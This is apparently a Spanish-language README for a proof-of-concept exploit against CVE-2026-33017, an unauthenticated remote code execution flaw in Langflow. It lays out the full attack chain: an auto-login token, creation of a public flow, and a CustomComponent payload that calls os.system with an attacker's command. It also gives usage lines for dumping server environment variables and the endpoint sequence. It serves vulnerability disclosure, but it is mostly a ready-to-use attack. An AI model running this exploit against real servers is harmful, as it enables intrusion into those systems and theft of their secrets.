
ID de CVE: CVE-2026-33017
Software afectado: Langflow
Versiones vulnerables: <= 1.8.2
Versión corregida: >= 1.9.0
Gravedad: Crítica
Autor: r3nsi15
Fecha: 2026
Langflow expone un endpoint público de construcción de flujos (/api/v1/build_public_tmp/{flowID}/flow) que acepta bloques de código CustomComponent arbitrarios y los ejecuta en el servidor sin autenticación. Al inyectar un payload malicioso de Python en el campo code de un nodo CustomComponent, un atacante no autenticado puede ejecutar comandos arbitrarios del sistema operativo con los privilegios del proceso del servidor de Langflow.
La cadena de ataque primero abusa del endpoint /api/v1/auto_login, que emite un token bearer sin requerir credenciales cuando Langflow se ejecuta en su configuración predeterminada de auto-login. Luego utiliza ese token para crear un flujo público temporal y desencadenar la ejecución de código en el servidor a través del endpoint de construcción.
Archivo: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
Verificar la ejecución de código:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Obtener las variables de entorno del servidor:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Mantener el flujo activo después de la explotación (omitir la limpieza):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
El exploit inyecta el siguiente fragmento de Python en el campo code de un nodo CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - importa dinámicamente el módulo os y ejecuta el comando shell proporcionado por el atacante en el servidor.CustomComponent válido, necesario para satisfacer el cargador de componentes de Langflow sin provocar un error de análisis.PUBLIC y se invoca el endpoint de construcción en su endpoint público, lo que significa que no se requiere cookie de sesión ni token de autenticación para desencadenar la ejecución.El sistema CustomComponent de Langflow permite enviar código Python arbitrario como parte de la definición de un flujo. El endpoint /api/v1/build_public_tmp/{flowID}/flow construye y evalúa parcialmente este código en el servidor, incluidas las sentencias de nivel de módulo, sin sandboxing ni restricción de acceso a las funciones integradas de Python como __import__.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
Los cuatro pasos pueden ser realizados por un atacante anónimo contra una implementación predeterminada de Langflow.
LANGFLOW_AUTO_LOGIN=false) en cualquier implementación expuesta a internet.Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de este script contra sistemas sin permiso escrito explícito es ilegal y poco ético. El autor y los colaboradores no asumen ninguna responsabilidad por el mal uso.
| Endpoint | Método | Autenticación requerida | Propósito |
|---|
/api/v1/auto_login | GET | No | Obtener token bearer (auto-login debe estar habilitado) |
/api/v1/flows/ | POST | Sí (Bearer) | Crear un nuevo flujo |
/api/v1/build_public_tmp/{flowID}/flow | POST | No (público) | Ejecutar la construcción — punto de ejecución vulnerable |
/api/v1/flows/{flowID} | DELETE | Sí (Bearer) | Eliminar el flujo creado |
| Flag | Forma larga | Requerido | Descripción |
|---|
-u | --url | Sí | URL base de la instancia de Langflow |
-c | --command | Sí | Comando del sistema operativo a ejecutar en el servidor |
-d | --delete | No | Eliminar el flujo creado después de la explotación |